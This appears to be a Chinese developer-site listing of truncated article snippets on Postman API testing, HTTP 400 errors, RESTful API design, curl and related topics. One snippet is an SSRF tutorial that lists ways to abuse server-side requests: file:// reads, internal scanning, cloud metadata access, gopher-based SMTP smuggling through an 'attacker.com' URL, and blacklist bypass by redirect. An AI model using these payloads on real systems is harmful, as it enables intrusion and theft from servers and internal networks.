首页
学习
活动
专区
工具
TVP
发布
精选内容/技术社群/优惠产品,尽在小程序
立即前往

Postman 使用教程 - 手把手教你 API 接口测试

比如,当我们要请求一个与时间有关的资源时,我们可以在预请求脚本中添加 timestamp 字段,这是一个动态值,我们可以通过前置请求脚本来实现。...",new Date()); [在 Pre-request scripts 中添加获取时间戳的代码] 在 header 中添加预脚本中的变量 TimeStampHeader 当请求时,Postman 会先执行预脚本获取时间戳...这段代码的意思是,如果执行调用,服务器返回响应代码为 200 时,判断为 PASS 即调用成功。 3.点击「Send」执行 GET 请求,返回的断言可以在 Test Results 中看到结果。...如何使用 Runner 批量执行测试,批量更换变量测试 当我们有一组 API 且这一组之间相互关联的关系,使用手动测试效率非常低。...[runner] 新建 GET 调用页,使用 email 作为查询 KEY 进行查询,如果上一步 POST 执行成功,那么 GET 就能成功查询到新建用户对应的 email,查询到表示 POST 创建成功

14.2K52
  • 您找到你想要的搜索结果了吗?
    是的
    没有找到

    记一次请求接口出现400响应码的诡异错误实录

    前言最近业务碰到了一个诡异的400接口请求异常,部门用户通过浏览器访问会出现400响应码错误,部分用户又能正常访问。该接口用postman请求访问,都能正常返回数据。...请求行如果超过一个缓冲区的大小,就会向客户端返回414(请求URI太大)错误。请求头字段也不能超过一个缓冲区的大小,否则会向客户端返回400(错误请求)错误。缓冲区仅按需分配。...看到这里我们似乎看到曙光,因此我们果断把该参数加上,并调高相应的配置值,本以为可以高枕无忧,结果配上去,那偌大的400错误,感觉就是在嘲讽我们的天真。...,没有再出现400的情况问题原因梳理出现请求400的原因,确实是请求头过大的原因,但为什么通过postman或者后端请求就不会有问题,而通过浏览器访问就会有问题,原因就是我们在处理跨域的时候,请求头加了一堆乱七八糟的东西...token的长度是比较大总结此次400响应码错误的问题,除了技术层面上,还有一些是规范上的,比如请求头加了了一堆无用的参数,其次为了方便,在token上搞了一堆业务数据,有些bug真的是无意识产生的,轻描淡写的一篇文章

    56410

    记一次请求接口出现400响应码的诡异错误实录

    1 前言 最近业务碰到了一个诡异的400接口请求异常,部门用户通过浏览器访问会出现400响应码错误,部分用户又能正常访问。该接口用postman请求访问,都能正常返回数据。...请求行如果超过一个缓冲区的大小,就会向客户端返回414(请求URI太大)错误。请求头字段也不能超过一个缓冲区的大小,否则会向客户端返回400(错误请求)错误。缓冲区仅按需分配。...看到这里我们似乎看到曙光,因此我们果断把该参数加上,并调高相应的配置值,本以为可以高枕无忧,结果配上去,那偌大的400错误,感觉就是在嘲讽我们的天真。...神奇的事发生了,没有再出现400的情况 4 问题原因梳理 出现请求400的原因,确实是请求头过大的原因,但为什么通过postman或者后端请求就不会有问题,而通过浏览器访问就会有问题,原因就是我们在处理跨域的时候...token的长度是比较大 5 总结 此次400响应码错误的问题,除了技术层面上,还有一些是规范上的,比如请求头加了了一堆无用的参数,其次为了方便,在token上搞了一堆业务数据,有些bug真的是无意识产生的

    72910

    Postman教程-Pre-request Script和Tests脚本进阶

    / 检查接口响应结果中的内容是否正确(返回json时) pm.test("返回结果内容断言", function () { var jsonData = pm.response.json();...(书上说浏览器插件无法使用,应该是以前低版本不支持,现在浏览器搜不到那个插件了,可以直接打开网页使用:https://web.postman.co/home) pm.info.eventName:用来获取当前是在...Pre-request Script还是Tests中执行的脚本,返回的是字符串“prerequest” 或 “test”。...对应postman上请求的名称 pm.info.requestId:用于返回请求ID pm.sendRequest对象 允许异步发送HTTP/HTTPS请求。...回调接收两个参数,其中一个错误(如果有的话),另一个是SDK兼容的响应。 ② 该方法可以在预请求或测试脚本中使用。

    1.4K20

    学习总结——接口测试基础

    3、参数是否加密,加密规则是否容易破解。       4、密码安全规则,密码的复杂程度校验。 异常验证:不按照接口文档上的要求输入参数,来验证接口对异常情况的反应。...12、返回报文  一定要写,这里应该是你请求返回的真实结果 13、测试结果    通过/失败 14、测试人员    测试http接口 请求常见有Get请求和Post请求。...400代表客户端发送的请求有语法错误,不能被服务器所理解;401代表访问的页面没有授权;403服务器收到请求,但是拒绝提供服务,比如没有权限访问这个页面;404请求的资源不存在,比如输入错的URL没有这个页面...Cookie和Session在第一次发送某个请求时成对生成,两端都会记录下生成的时间,超出既定的时限后便会自动删除。...当请求在时限内再次发出后,Cookie和Session两者会相互比对,匹配上了便执行某些操作,匹配不上则不允许执行某些操作,以此实现快速处理,它们并不是孤立作用的。

    58930

    不能错过的十款谷歌浏览器插件

    我常下载知乎上的视频,十分方便。如果要专门去下载一些视频网站的视频,推荐使用 you-get。这是个终端命令行工具。...你可以随时在自己的 OneNote 应用中查看,编辑你保存的内容。 如果你是OneNote用户,与 OneNote 配合使用后你会深深的喜欢上它!...当然有的同学习惯使用 Postman ,不过就两种可以都尝试一下,总会有 Postwoman 比 Postman 更适合使用的场景。...在浏览器上直接访问某些后端接口,如果返回的是 JSON 格式的数据会很不规范的显示在界面上,十分影响阅读体验。而这款工具,可以将返回的 JSON 格式数据美化后以树或图表的形式显示出来。...该取色器不仅可以提取网页上的颜色信息支持输出多种颜色编码格式,而且在浏览器开发者工具中调试网页颜色时还支持点击选取颜色。对于前端同学来说应该是个十分趁手的工具吧。 8.

    2.8K00

    接口测试基础

    3、参数是否加密,加密规则是否容易破解。   4、密码安全规则,密码的复杂程度校验。   异常验证:不按照接口文档上的要求输入参数,来验证接口对异常情况的反应。  ... 一定要写,这里应该是你请求返回的真实结果   13、测试结果 通过/失败   14、测试人员  测试http接口   请求常见有Get请求和Post请求。...400代表客户端发送的请求有语法错误,不能被服务器所理解;401代表访问的页面没有授权;403服务器收到请求,但是拒绝提供服务,比如没有权限访问这个页面;404请求的资源不存在,比如输入错的URL没有这个页面...Cookie和Session在第一次发送某个请求时成对生成,两端都会记录下生成的时间,超出既定的时限后便会自动删除。...当请求在时限内再次发出后,Cookie和Session两者会相互比对,匹配上了便执行某些操作,匹配不上则不允许执行某些操作,以此实现快速处理,它们并不是孤立作用的。

    69020

    SSRF 从入门到批量找漏洞

    url=https://google.com 将在服务器上打开 google.com 并返回到前端 SSRF 可以做什么 1、产生反射型 XSS 2、通过 url scheme (file:...读取内部资源或者让服务执行相应的动作 3、扫描内部网络和端口 4、如果运行在云实例上,可以尝试获取 META-DATA SSRF 产生反射型 XSS 简单的从外部网站获取一个恶意 payload...它是在 IP 网络上使用的应用程序协议,用于管理和访问分布式目录信息服务。 http://example.com/ssrf.php?...url=http://attacker.com/ssrf/gopher.php 此代码将我们的 SMTP 命令连接到由 %0A 分隔的一行,并强制服务器在实际发送有效的 SMTP 请求时向 SMTP...redirect=https://google.com 成功获取了 google.com 黑名单-禁止指定 URL 的 host 当你服务器列入了 google.com 到黑名单时,则你获取

    3.9K20

    如何设计好的RESTful API

    API 返回的数据格式,不应该是纯文本,而应该是一个 JSON 对象,因为这样才能返回标准的结构化数据。...很显然我们不希望这样的情况发生,正确的做法应该类似这样的: HTTP/1.1 400 Bad RequestContent-Type: application/json { "status": "...) 4xx 状态码 4xx 状态码表示客户端的错误,主要有以下几种: 400BadRequest:服务器不理解客户端的请求,未做任何处理 401Unauthorized:用户未提供身份验证凭据,或者没有通过身份验证...比如,API 只能返回 JSON 格式,但是客户端要求返回 XML 格式 这里要注意状态码 401 和 403 的区别 5xx 状态码 5xx 状态码表示服务端错误,通常只会用到两个: 500InternalServerError...:客户端请求有效,服务器处理时发生了意外 503ServiceUnavailable:服务器无法处理请求,一般用于网站维护状态 无状态 过去开发人员通常会将活动的用户信息存储在服务端的 session

    1.7K20

    Postman----API接口测试神器

    API测试——测试API集合,检查它们的功能、性能、安全性,以及是否返回正确的响应。...预请求脚本 - 预请求脚本是在发送请求之前执行的一段代码。 示例:为了在请求中使用PostmanBDD(本文后面将对此进行解释),需要在预请求脚本中定义以下代码。 ?...2.HTTP响应——在发送请求时,API发送响应,包括正文,Cookie,标头,测试,状态代码和API响应时间。 Postman在不同的选项卡中组织正文和标题。...400  - 对于错误请求。请求无法理解或缺少任何必需参数。 401  - 对于未经授权的访问。身份验证失败或用户没有所请求操作的权限。 403  - 被禁止,访问被拒绝。...BDD有两个简单步骤: 1.下载 使用以下URL在Postman中创建GET请求: http://bigstickcarpet.com/postman-bdd/dist/postman-bdd.min.js

    3.9K30

    【Nginx09】Nginx学习:HTTP核心模块(六)请求头处理

    每个请求头的长度也不能超过一块缓冲的容量,否则nginx返回错误400 (Bad Request)到客户端。 (请求行+请求头) 的大小不能超过 32k(4 * 8k) 。...接下来进行测试,现在这个情况,其实只要头部有一个大字符的参数,或者请求行(就是 URL 行)比较长,就会出 400 的错误。 GET http://192.168.56.88/?...正好 512 个字节,直接报 400 Request Header Or Cookie Too Large 错误。 最后,我们再测试请求行,如果超长了,会不会返回 414 错误。...现在你应该了解了吧,如果我们在日常的应用中出现了 400 或者 414 的报错信息,可以来检查一下这两个的配置是否有问题。...php print_r($_SEREVER); 然后,在 Postman 中构造一个请求头,并请求刚刚创建的 php 文件。

    1.3K31

    用ASP.NET Core 2.0 建立规范的 REST API -- GET 和 POST

    这里需要提的是后两个: HEAD: 和GET差不多, 但是它不应该返回响应的body, 所有没有响应的payload. 它主要使用来获取资源的一些信息, 例如查看资源是否可用等....OPTIONS: 它是用来查询某个资源URI的可交互方式有哪些, 换句话说就是, 使用它可以知道某个URI是否可以执行GET或者POST动作, 这些结果通常是在响应的Headers里面而不是body里,...状态码 状态码是非常重要的,因为只有状态码会告诉API的消费者: 请求是否如预期的成功,或者失败 如果出现了错误,谁该为这个错误负责 下面再列举一下web API会用到的状态码: 200级别,表示成功:...200 - OK 201 - Created,表示资源创建成功了 204 - No content,成功执行,但是不应该返回任何东西 400级别,表示客户端引起的错误: 400 - Bad request...,表示请求的资源不存在 405 - Method not allowed,这就是当我们尝试发送请求给某个资源时,使用的HTTP方法却是不允许的,例如使用POST api/countries, 而该资源只实现了

    1.6K10

    还在用 postman?手把手教你用 curl 提高工作效率

    /configure $ make $ make install 通过 curl --version 可以验证命令是否安装准确 上手操作 我们先来看下 curl 最简单的使用方式,没有任何选项,将服务器响应的内容输出到屏幕上...发送 GET 请求 curl 命令默认发送的是 GET 请求,响应内容直接打印在了屏幕上 $ curl http://www.baidu.com 使用 -i 选项,可以打印服务器响应的 HTTP 头部信息...设置静默输出 指定 -s 选项将不输出错误和进度信息,如果想让 curl 不产生任何输出,使用下面的命令 $ curl -s -o /dev/null http://google.com 8....使用证书链验证服务器证书 在平时开发时,证书一般是自签的,可以通过指定 CA 证书链进行证书的验证 $ curl --cacert caChain.pem https://linuxblogs.cn...使用配置文件 使用配置文件 ~/.curlrc,修改内容如下: proxy="http://user:pwd@127.0.0.1:1234" (二)格式化 在平时使用 curl 时,可能希望能够获取更多信息

    1.3K20

    探索RESTful API开发,构建可扩展的Web服务

    介绍当我们浏览网页、使用手机应用或与各种互联网服务交互时,我们经常听到一个术语:“RESTful API”。它听起来很高深,但实际上,它是构建现代网络应用程序所不可或缺的基础。...实现RESTful端点实现GET请求当实现GET请求时,我们的目标是从服务器获取资源的信息。在RESTful API中,GET请求通常用于检索资源。...如果未找到资源,我们返回404错误响应。实现POST请求实现POST请求时,我们的目标是在服务器上创建新资源。在RESTful API中,POST请求通常用于向服务器提交数据,以创建新的资源。...以下是如何设计良好的错误处理机制和自定义错误响应的详细实现:设计良好的错误处理机制在设计良好的错误处理机制时,我们应该考虑以下几个方面:捕获异常: 在代码中,我们应该使用try-catch块来捕获可能发生的异常...记录错误信息: 当捕获到异常时,我们应该记录错误信息,以便于后续的故障排除和调试。可以将错误信息记录到日志文件中或将其发送到监控系统。

    27800

    DjangoRestFramework,restful规范、APIview、解析器组件、Postman等

    那里先执行,就从哪里看   views.LoginView.as_view()这个东西是不是先执行啊,url接收到请求,调用了它对不对,as_view()类方法,这个类方法给你返回了一个叫view的方法...2.2 使用域名       应该尽量将API部署在专用域名之下,意思就是给API专门做一个服务器。...410 Gone -[GET]:用户请求的资源被永久删除,且不会再得到的。 422 Unprocesable entity - [POST/PUT/PATCH] 当创建一个对象时,发生一个验证错误。...500 INTERNAL SERVER ERROR - [*]:服务器发生错误,用户将无法判断发出的请求是否成功。...这张做法实际上取消了状态码,这是完全不可取的。正确的做法是,状态码反映发生的错误,具体的错误信息放在数据体里面返回。下面是一个例子。

    2.5K20

    Java|怎么解决postman模拟请求时400错误

    在springboot项目中为了测试我们的接口是否正确,我们会利用postman进行测试接口是否正确,当我们在测试时会出现很多错误,最近在测试一个接口时出现了一个400的错误,下面我们就来一起解决它吧...解决方案 首先我们来介绍一下postman这个软件吧,可能刚开始我们很多人都不知道postman是干什么用的,当然也可以在谷歌浏览器里面装插件。...用户在开发或者调试网络程序或者是网页B/S模式的程序的时候是需要一些方法来跟踪网页请求的,用户可以使用一些网络的监视工具比如著名的Firebug等网页调试工具。...Postman在发送网络HTTP请求方面可以说是Chrome插件类产品中的代表产品之一。 我们已经简单的了解了一下,下面我们来直面这个错误吧!...我们简单的查找了一下这个错误,发现可能是我们格式设置有问题。

    2.9K41
    领券